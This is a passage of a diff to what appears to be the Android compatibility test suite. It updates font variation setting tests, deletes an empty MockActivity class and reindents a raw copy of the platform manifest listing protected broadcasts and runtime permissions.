+ // Test only when the system font don't support the above axes. OEMs may add
+ // their fonts and these font may support above axes.
+ assertFalse("Must return false for " + notEffectiveSetting,
+ p.setFontVariationSettings(notEffectiveSetting));
+ assertNull("Must not change settings for " + notEffectiveSetting,
+ p.getFontVariationSettings());
+ }
}
- String retainSettings = "'aaaa' 1.0";
+ String retainSettings = "'wght' 400";
assertTrue(p.setFontVariationSettings(retainSettings));
for (String notEffectiveSetting : nonEffectiveSettings) {
assertFalse(p.setFontVariationSettings(notEffectiveSetting));
@@ -940,15 +952,14 @@
// At least one axis is supported, the settings should be applied.
final String[] effectiveSettings = {
- "'aaaa' 1.0", // supported tag
- "'a b ' .7", // supported tag (contains whitespace)
- "'aaaa' 1.0, 'BBBB' 0.5", // both are supported
- "'aaaa' 1.0, ' C D' 0.5", // both are supported
- "'aaaa' 1.0, 'bbbb' 0.4", // 'bbbb' is unspported.
+ "'wght' 300", // supported tag
+ "'wght' 300, 'PRIV' 0.5", // both are supported
+ "'PRIV' 1.0, 'BBBB' 0.4", // 'BBBB' is unsupported
};
for (String effectiveSetting : effectiveSettings) {
- assertTrue(p.setFontVariationSettings(effectiveSetting));
+ assertTrue("Must return true for " + effectiveSetting,
+ p.setFontVariationSettings(effectiveSetting));
assertEquals(effectiveSetting, p.getFontVariationSettings());
}
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 3ab7425..66b55f2 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -30,8 +30,6 @@
import android.content.res.AssetManager;
import android.graphics.Paint;
import android.graphics.Typeface;
-import android.graphics.fonts.FontVariationAxis;
-import android.provider.FontsContract;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
diff --git a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java b/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
deleted file mode 100644
index 3fbf255..0000000
--- a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.graphics.fonts.cts;
-
-import android.app.Activity;
-
-public class MockActivity extends Activity {
-
-}
\ No newline at end of file
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index e547c13..8ed76de 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -18,8 +18,8 @@
*/
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android" coreApp="true" android:sharedUserId="android.uid.system"
- android:sharedUserLabel="@string/android_system_label">
+ package="android" coreApp="true" android:sharedUserId="android.uid.system"
+ android:sharedUserLabel="@string/android_system_label">
<!-- ================================================ -->
<!-- Special broadcasts that only the system can send -->
@@ -149,59 +149,59 @@
<protected-broadcast android:name="android.bluetooth.devicepicker.action.LAUNCH" />
<protected-broadcast android:name="android.bluetooth.devicepicker.action.DEVICE_SELECTED" />
<protected-broadcast
- android:name="android.bluetooth.headset.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.headset.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headset.profile.action.AUDIO_STATE_CHANGED" />
+ android:name="android.bluetooth.headset.profile.action.AUDIO_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headset.action.VENDOR_SPECIFIC_HEADSET_EVENT" />
+ android:name="android.bluetooth.headset.action.VENDOR_SPECIFIC_HEADSET_EVENT" />
<protected-broadcast
- android:name="android.bluetooth.headset.action.HF_INDICATORS_VALUE_CHANGED" />
+ android:name="android.bluetooth.headset.action.HF_INDICATORS_VALUE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.headsetclient.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.AUDIO_STATE_CHANGED" />
+ android:name="android.bluetooth.headsetclient.profile.action.AUDIO_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.AG_EVENT" />
+ android:name="android.bluetooth.headsetclient.profile.action.AG_EVENT" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.AG_CALL_CHANGED" />
+ android:name="android.bluetooth.headsetclient.profile.action.AG_CALL_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.RESULT" />
+ android:name="android.bluetooth.headsetclient.profile.action.RESULT" />
<protected-broadcast
- android:name="android.bluetooth.headsetclient.profile.action.LAST_VTAG" />
+ android:name="android.bluetooth.headsetclient.profile.action.LAST_VTAG" />
<protected-broadcast
- android:name="android.bluetooth.a2dp.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.a2dp.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.a2dp.profile.action.PLAYING_STATE_CHANGED" />
+ android:name="android.bluetooth.a2dp.profile.action.PLAYING_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.a2dp.profile.action.CODEC_CONFIG_CHANGED" />
+ android:name="android.bluetooth.a2dp.profile.action.CODEC_CONFIG_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.a2dp-sink.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.a2dp-sink.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.a2dp-sink.profile.action.PLAYING_STATE_CHANGED" />
+ android:name="android.bluetooth.a2dp-sink.profile.action.PLAYING_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.a2dp-sink.profile.action.AUDIO_CONFIG_CHANGED" />
+ android:name="android.bluetooth.a2dp-sink.profile.action.AUDIO_CONFIG_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.avrcp-controller.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.avrcp-controller.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.input.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.input.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.input.profile.action.PROTOCOL_MODE_CHANGED" />
+ android:name="android.bluetooth.input.profile.action.PROTOCOL_MODE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.input.profile.action.VIRTUAL_UNPLUG_STATUS" />
+ android:name="android.bluetooth.input.profile.action.VIRTUAL_UNPLUG_STATUS" />
<protected-broadcast
- android:name="android.bluetooth.inputhost.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.inputhost.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast
- android:name="android.bluetooth.map.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.map.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.mapmce.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_RECEIVED" />
<protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_SENT_SUCCESSFULLY" />
<protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELIVERED_SUCCESSFULLY" />
<protected-broadcast
- android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
+ android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
<protected-broadcast
- android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
+ android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
<protected-broadcast
- android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
+ android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.pbap.intent.action.PBAP_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.pbap.profile.action.CONNECTION_STATE_CHANGED" />
<protected-broadcast android:name="android.bluetooth.sap.profile.action.CONNECTION_STATE_CHANGED" />
@@ -363,11 +363,11 @@
<protected-broadcast android:name="android.provider.Telephony.MMS_DOWNLOADED" />
<protected-broadcast
- android:name="com.android.server.connectivityservice.CONNECTED_TO_PROVISIONING_NETWORK_ACTION" />
+ android:name="com.android.server.connectivityservice.CONNECTED_TO_PROVISIONING_NETWORK_ACTION" />
<!-- Defined in RestrictionsManager -->
<protected-broadcast
- android:name="android.intent.action.PERMISSION_RESPONSE_RECEIVED" />
+ android:name="android.intent.action.PERMISSION_RESPONSE_RECEIVED" />
<!-- Defined in RestrictionsManager -->
<protected-broadcast android:name="android.intent.action.REQUEST_PERMISSION" />
@@ -553,28 +553,28 @@
<!-- Used for runtime permissions related to contacts and profiles on this
device. -->
<permission-group android:name="android.permission-group.CONTACTS"
- android:icon="@drawable/perm_group_contacts"
- android:label="@string/permgrouplab_contacts"
- android:description="@string/permgroupdesc_contacts"
- android:priority="100" />
+ android:icon="@drawable/perm_group_contacts"
+ android:label="@string/permgrouplab_contacts"
+ android:description="@string/permgroupdesc_contacts"
+ android:priority="100" />
<!-- Allows an application to read the user's contacts data.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_CONTACTS"
- android:permissionGroup="android.permission-group.CONTACTS"
- android:label="@string/permlab_readContacts"
- android:description="@string/permdesc_readContacts"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.CONTACTS"
+ android:label="@string/permlab_readContacts"
+ android:description="@string/permdesc_readContacts"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to write the user's contacts data.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.WRITE_CONTACTS"
- android:permissionGroup="android.permission-group.CONTACTS"
- android:label="@string/permlab_writeContacts"
- android:description="@string/permdesc_writeContacts"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.CONTACTS"
+ android:label="@string/permlab_writeContacts"
+ android:description="@string/permdesc_writeContacts"
+ android:protectionLevel="dangerous" />
<!-- ====================================================================== -->
<!-- Permissions for accessing user's calendar -->
@@ -583,28 +583,28 @@
<!-- Used for runtime permissions related to user's calendar. -->
<permission-group android:name="android.permission-group.CALENDAR"
- android:icon="@drawable/perm_group_calendar"
- android:label="@string/permgrouplab_calendar"
- android:description="@string/permgroupdesc_calendar"
- android:priority="200" />
+ android:icon="@drawable/perm_group_calendar"
+ android:label="@string/permgrouplab_calendar"
+ android:description="@string/permgroupdesc_calendar"
+ android:priority="200" />
<!-- Allows an application to read the user's calendar data.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_CALENDAR"
- android:permissionGroup="android.permission-group.CALENDAR"
- android:label="@string/permlab_readCalendar"
- android:description="@string/permdesc_readCalendar"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.CALENDAR"
+ android:label="@string/permlab_readCalendar"
+ android:description="@string/permdesc_readCalendar"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to write the user's calendar data.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.WRITE_CALENDAR"
- android:permissionGroup="android.permission-group.CALENDAR"
- android:label="@string/permlab_writeCalendar"
- android:description="@string/permdesc_writeCalendar"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.CALENDAR"
+ android:label="@string/permlab_writeCalendar"
+ android:description="@string/permdesc_writeCalendar"
+ android:protectionLevel="dangerous" />
<!-- ====================================================================== -->
<!-- Permissions for accessing and modifying user's SMS messages -->
@@ -613,56 +613,56 @@
<!-- Used for runtime permissions related to user's SMS messages. -->
<permission-group android:name="android.permission-group.SMS"
- android:icon="@drawable/perm_group_sms"
- android:label="@string/permgrouplab_sms"
- android:description="@string/permgroupdesc_sms"
- android:priority="300" />
+ android:icon="@drawable/perm_group_sms"
+ android:label="@string/permgrouplab_sms"
+ android:description="@string/permgroupdesc_sms"
+ android:priority="300" />
<!-- Allows an application to send SMS messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.SEND_SMS"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_sendSms"
- android:description="@string/permdesc_sendSms"
- android:permissionFlags="costsMoney"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_sendSms"
+ android:description="@string/permdesc_sendSms"
+ android:permissionFlags="costsMoney"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to receive SMS messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECEIVE_SMS"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_receiveSms"
- android:description="@string/permdesc_receiveSms"
- android:protectionLevel="dangerous"/>
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_receiveSms"
+ android:description="@string/permdesc_receiveSms"
+ android:protectionLevel="dangerous"/>
<!-- Allows an application to read SMS messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_SMS"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_readSms"
- android:description="@string/permdesc_readSms"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_readSms"
+ android:description="@string/permdesc_readSms"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to receive WAP push messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECEIVE_WAP_PUSH"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_receiveWapPush"
- android:description="@string/permdesc_receiveWapPush"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_receiveWapPush"
+ android:description="@string/permdesc_receiveWapPush"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to monitor incoming MMS messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECEIVE_MMS"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_receiveMms"
- android:description="@string/permdesc_receiveMms"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_receiveMms"
+ android:description="@string/permdesc_receiveMms"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to read previously received cell broadcast
messages and to register a content observer to get notifications when
@@ -677,10 +677,10 @@
<p>Protection level: dangerous
@hide Pending API council approval -->
<permission android:name="android.permission.READ_CELL_BROADCASTS"
- android:permissionGroup="android.permission-group.SMS"
- android:label="@string/permlab_readCellBroadcasts"
- android:description="@string/permdesc_readCellBroadcasts"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SMS"
+ android:label="@string/permlab_readCellBroadcasts"
+ android:description="@string/permdesc_readCellBroadcasts"
+ android:protectionLevel="dangerous" />
<!-- ====================================================================== -->
<!-- Permissions for accessing external storage -->
@@ -689,10 +689,10 @@
<!-- Used for runtime permissions related to the shared external storage. -->
<permission-group android:name="android.permission-group.STORAGE"
- android:icon="@drawable/perm_group_storage"
- android:label="@string/permgrouplab_storage"
- android:description="@string/permgroupdesc_storage"
- android:priority="900" />
+ android:icon="@drawable/perm_group_storage"
+ android:label="@string/permgrouplab_storage"
+ android:description="@string/permgroupdesc_storage"
+ android:priority="900" />
<!-- Allows an application to read from external storage.
<p>Any app that declares the {@link #WRITE_EXTERNAL_STORAGE} permission is implicitly
@@ -717,10 +717,10 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_EXTERNAL_STORAGE"
- android:permissionGroup="android.permission-group.STORAGE"
- android:label="@string/permlab_sdcardRead"
- android:description="@string/permdesc_sdcardRead"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.STORAGE"
+ android:label="@string/permlab_sdcardRead"
+ android:description="@string/permdesc_sdcardRead"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to write to external storage.
<p class="note"><strong>Note:</strong> If <em>both</em> your <a
@@ -738,10 +738,10 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
- android:permissionGroup="android.permission-group.STORAGE"
- android:label="@string/permlab_sdcardWrite"
- android:description="@string/permdesc_sdcardWrite"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.STORAGE"
+ android:label="@string/permlab_sdcardWrite"
+ android:description="@string/permdesc_sdcardWrite"
+ android:protectionLevel="dangerous" />
<!-- ====================================================================== -->
<!-- Permissions for accessing the device location -->
@@ -750,30 +750,30 @@
<!-- Used for permissions that allow accessing the device location. -->
<permission-group android:name="android.permission-group.LOCATION"
- android:icon="@drawable/perm_group_location"
- android:label="@string/permgrouplab_location"
- android:description="@string/permgroupdesc_location"
- android:priority="400" />
+ android:icon="@drawable/perm_group_location"
+ android:label="@string/permgrouplab_location"
+ android:description="@string/permgroupdesc_location"
+ android:priority="400" />
<!-- Allows an app to access precise location.
Alternatively, you might want {@link #ACCESS_COARSE_LOCATION}.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACCESS_FINE_LOCATION"
- android:permissionGroup="android.permission-group.LOCATION"
- android:label="@string/permlab_accessFineLocation"
- android:description="@string/permdesc_accessFineLocation"
- android:protectionLevel="dangerous|ephemeral" />
+ android:permissionGroup="android.permission-group.LOCATION"
+ android:label="@string/permlab_accessFineLocation"
+ android:description="@string/permdesc_accessFineLocation"
+ android:protectionLevel="dangerous|ephemeral" />
<!-- Allows an app to access approximate location.
Alternatively, you might want {@link #ACCESS_FINE_LOCATION}.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACCESS_COARSE_LOCATION"
- android:permissionGroup="android.permission-group.LOCATION"
- android:label="@string/permlab_accessCoarseLocation"
- android:description="@string/permdesc_accessCoarseLocation"
- android:protectionLevel="dangerous|ephemeral" />
+ android:permissionGroup="android.permission-group.LOCATION"
+ android:label="@string/permlab_accessCoarseLocation"
+ android:description="@string/permdesc_accessCoarseLocation"
+ android:protectionLevel="dangerous|ephemeral" />
<!-- ====================================================================== -->
<!-- Permissions for accessing the device telephony -->
@@ -782,10 +782,10 @@
<!-- Used for permissions that are associated telephony features. -->
<permission-group android:name="android.permission-group.PHONE"
- android:icon="@drawable/perm_group_phone_calls"
- android:label="@string/permgrouplab_phone"
- android:description="@string/permgroupdesc_phone"
- android:priority="500" />
+ android:icon="@drawable/perm_group_phone_calls"
+ android:label="@string/permgrouplab_phone"
+ android:description="@string/permgroupdesc_phone"
+ android:priority="500" />
<!-- Allows read only access to phone state, including the phone number of the device,
current cellular network information, the status of any ongoing calls, and a list of any
@@ -801,30 +801,30 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_PHONE_STATE"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_readPhoneState"
- android:description="@string/permdesc_readPhoneState"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_readPhoneState"
+ android:description="@string/permdesc_readPhoneState"
+ android:protectionLevel="dangerous" />
<!-- Allows read access to the device's phone number(s). This is a subset of the capabilities
granted by {@link #READ_PHONE_STATE} but is exposed to ephemeral applications.
<p>Protection level: dangerous-->
<permission android:name="android.permission.READ_PHONE_NUMBERS"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_readPhoneNumbers"
- android:description="@string/permdesc_readPhoneNumbers"
- android:protectionLevel="dangerous|ephemeral" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_readPhoneNumbers"
+ android:description="@string/permdesc_readPhoneNumbers"
+ android:protectionLevel="dangerous|ephemeral" />
<!-- Allows an application to initiate a phone call without going through
the Dialer user interface for the user to confirm the call.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.CALL_PHONE"
- android:permissionGroup="android.permission-group.PHONE"
- android:permissionFlags="costsMoney"
- android:label="@string/permlab_callPhone"
- android:description="@string/permdesc_callPhone"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:permissionFlags="costsMoney"
+ android:label="@string/permlab_callPhone"
+ android:description="@string/permdesc_callPhone"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to access the IMS call service: making and
modifying a call
@@ -832,10 +832,10 @@
@hide
-->
<permission android:name="android.permission.ACCESS_IMS_CALL_SERVICE"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_accessImsCallService"
- android:description="@string/permdesc_accessImsCallService"
- android:protectionLevel="signature|privileged" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_accessImsCallService"
+ android:description="@string/permdesc_accessImsCallService"
+ android:protectionLevel="signature|privileged" />
<!-- Allows an application to read the user's call log.
<p class="note"><strong>Note:</strong> If your app uses the
@@ -850,10 +850,10 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_CALL_LOG"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_readCallLog"
- android:description="@string/permdesc_readCallLog"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_readCallLog"
+ android:description="@string/permdesc_readCallLog"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to write (but not read) the user's
call log data.
@@ -869,28 +869,28 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.WRITE_CALL_LOG"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_writeCallLog"
- android:description="@string/permdesc_writeCallLog"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_writeCallLog"
+ android:description="@string/permdesc_writeCallLog"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to add voicemails into the system.
<p>Protection level: dangerous
-->
<permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_addVoicemail"
- android:description="@string/permdesc_addVoicemail"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_addVoicemail"
+ android:description="@string/permdesc_addVoicemail"
+ android:protectionLevel="dangerous" />
<!-- Allows an application to use SIP service.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.USE_SIP"
- android:permissionGroup="android.permission-group.PHONE"
- android:description="@string/permdesc_use_sip"
- android:label="@string/permlab_use_sip"
- android:protectionLevel="dangerous"/>
+ android:permissionGroup="android.permission-group.PHONE"
+ android:description="@string/permdesc_use_sip"
+ android:label="@string/permlab_use_sip"
+ android:protectionLevel="dangerous"/>
<!-- Allows an application to see the number being dialed during an outgoing
call with the option to redirect the call to a different number or
@@ -898,20 +898,20 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.PROCESS_OUTGOING_CALLS"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_processOutgoingCalls"
- android:description="@string/permdesc_processOutgoingCalls"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_processOutgoingCalls"
+ android:description="@string/permdesc_processOutgoingCalls"
+ android:protectionLevel="dangerous" />
<!-- Allows the app to answer an incoming phone call.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ANSWER_PHONE_CALLS"
- android:permissionGroup="android.permission-group.PHONE"
- android:label="@string/permlab_answerPhoneCalls"
- android:description="@string/permdesc_answerPhoneCalls"
- android:protectionLevel="dangerous|runtime" />
+ android:permissionGroup="android.permission-group.PHONE"
+ android:label="@string/permlab_answerPhoneCalls"
+ android:description="@string/permdesc_answerPhoneCalls"
+ android:protectionLevel="dangerous|runtime" />
<!-- Allows a calling application which manages it own calls through the self-managed
{@link android.telecom.ConnectionService} APIs. See
@@ -933,19 +933,19 @@
microphone audio from the device. Note that phone calls also capture audio
but are in a separate (more visible) permission group. -->
<permission-group android:name="android.permission-group.MICROPHONE"
- android:icon="@drawable/perm_group_microphone"
- android:label="@string/permgrouplab_microphone"
- android:description="@string/permgroupdesc_microphone"
- android:priority="600" />
+ android:icon="@drawable/perm_group_microphone"
+ android:label="@string/permgrouplab_microphone"
+ android:description="@string/permgroupdesc_microphone"
+ android:priority="600" />
<!-- Allows an application to record audio.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECORD_AUDIO"
- android:permissionGroup="android.permission-group.MICROPHONE"
- android:label="@string/permlab_recordAudio"
- android:description="@string/permdesc_recordAudio"
- android:protectionLevel="dangerous"/>
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:label="@string/permlab_recordAudio"
+ android:description="@string/permdesc_recordAudio"
+ android:protectionLevel="dangerous"/>
<!-- ====================================================================== -->
<!-- Permissions for accessing the UCE Service -->
@@ -955,15 +955,15 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACCESS_UCE_PRESENCE_SERVICE"
- android:permissionGroup="android.permission-group.PHONE"
- android:protectionLevel="signatureOrSystem"/>
+ android:permissionGroup="android.permission-group.PHONE"
+ android:protectionLevel="signatureOrSystem"/>
<!-- @hide Allows an application to Access UCE-OPTIONS.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACCESS_UCE_OPTIONS_SERVICE"
- android:permissionGroup="android.permission-group.PHONE"
- android:protectionLevel="signatureOrSystem"/>
+ android:permissionGroup="android.permission-group.PHONE"
+ android:protectionLevel="signatureOrSystem"/>
@@ -975,10 +975,10 @@
<!-- Used for permissions that are associated with accessing
camera or capturing images/video from the device. -->
<permission-group android:name="android.permission-group.CAMERA"
- android:icon="@drawable/perm_group_camera"
- android:label="@string/permgrouplab_camera"
- android:description="@string/permgroupdesc_camera"
- android:priority="700" />
+ android:icon="@drawable/perm_group_camera"
+ android:label="@string/permgrouplab_camera"
+ android:description="@string/permgroupdesc_camera"
+ android:priority="700" />
<!-- Required to be able to access the camera device.
<p>This will automatically enforce the <a
@@ -990,10 +990,10 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.CAMERA"
- android:permissionGroup="android.permission-group.CAMERA"
- android:label="@string/permlab_camera"
- android:description="@string/permdesc_camera"
- android:protectionLevel="dangerous|ephemeral" />
+ android:permissionGroup="android.permission-group.CAMERA"
+ android:label="@string/permlab_camera"
+ android:description="@string/permdesc_camera"
+ android:protectionLevel="dangerous|ephemeral" />
<!-- ====================================================================== -->
@@ -1004,28 +1004,28 @@
<!-- Used for permissions that are associated with accessing
camera or capturing images/video from the device. -->
<permission-group android:name="android.permission-group.SENSORS"
- android:icon="@drawable/perm_group_sensors"
- android:label="@string/permgrouplab_sensors"
- android:description="@string/permgroupdesc_sensors"
- android:priority="800" />
+ android:icon="@drawable/perm_group_sensors"
+ android:label="@string/permgrouplab_sensors"
+ android:description="@string/permgroupdesc_sensors"
+ android:priority="800" />
<!-- Allows an application to access data from sensors that the user uses to
measure what is happening inside his/her body, such as heart rate.
<p>Protection level: dangerous -->
<permission android:name="android.permission.BODY_SENSORS"
- android:permissionGroup="android.permission-group.SENSORS"
- android:label="@string/permlab_bodySensors"
- android:description="@string/permdesc_bodySensors"
- android:protectionLevel="dangerous" />
+ android:permissionGroup="android.permission-group.SENSORS"
+ android:label="@string/permlab_bodySensors"
+ android:description="@string/permdesc_bodySensors"
+ android:protectionLevel="dangerous" />
<!-- Allows an app to use fingerprint hardware.
<p>Protection level: normal
-->
<permission android:name="android.permission.USE_FINGERPRINT"
- android:permissionGroup="android.permission-group.SENSORS"
- android:label="@string/permlab_useFingerprint"
- android:description="@string/permdesc_useFingerprint"
- android:protectionLevel="normal" />
+ android:permissionGroup="android.permission-group.SENSORS"
+ android:label="@string/permlab_useFingerprint"
+ android:description="@string/permdesc_useFingerprint"
+ android:protectionLevel="normal" />
<!-- ====================================================================== -->
<!-- REMOVED PERMISSIONS -->
@@ -1033,78 +1033,78 @@
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.READ_PROFILE"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.WRITE_PROFILE"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.READ_SOCIAL_STREAM"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.WRITE_SOCIAL_STREAM"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.READ_USER_DICTIONARY"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
+ android:protectionLevel="normal"
+ android:permissionFlags="removed"/>
<!-- @hide We need to keep this around for backwards compatibility -->
<permission android:name="android.permission.WRITE_USER_DICTIONARY"
- android:protectionLevel="normal"
- android:permissionFlags="removed"/>
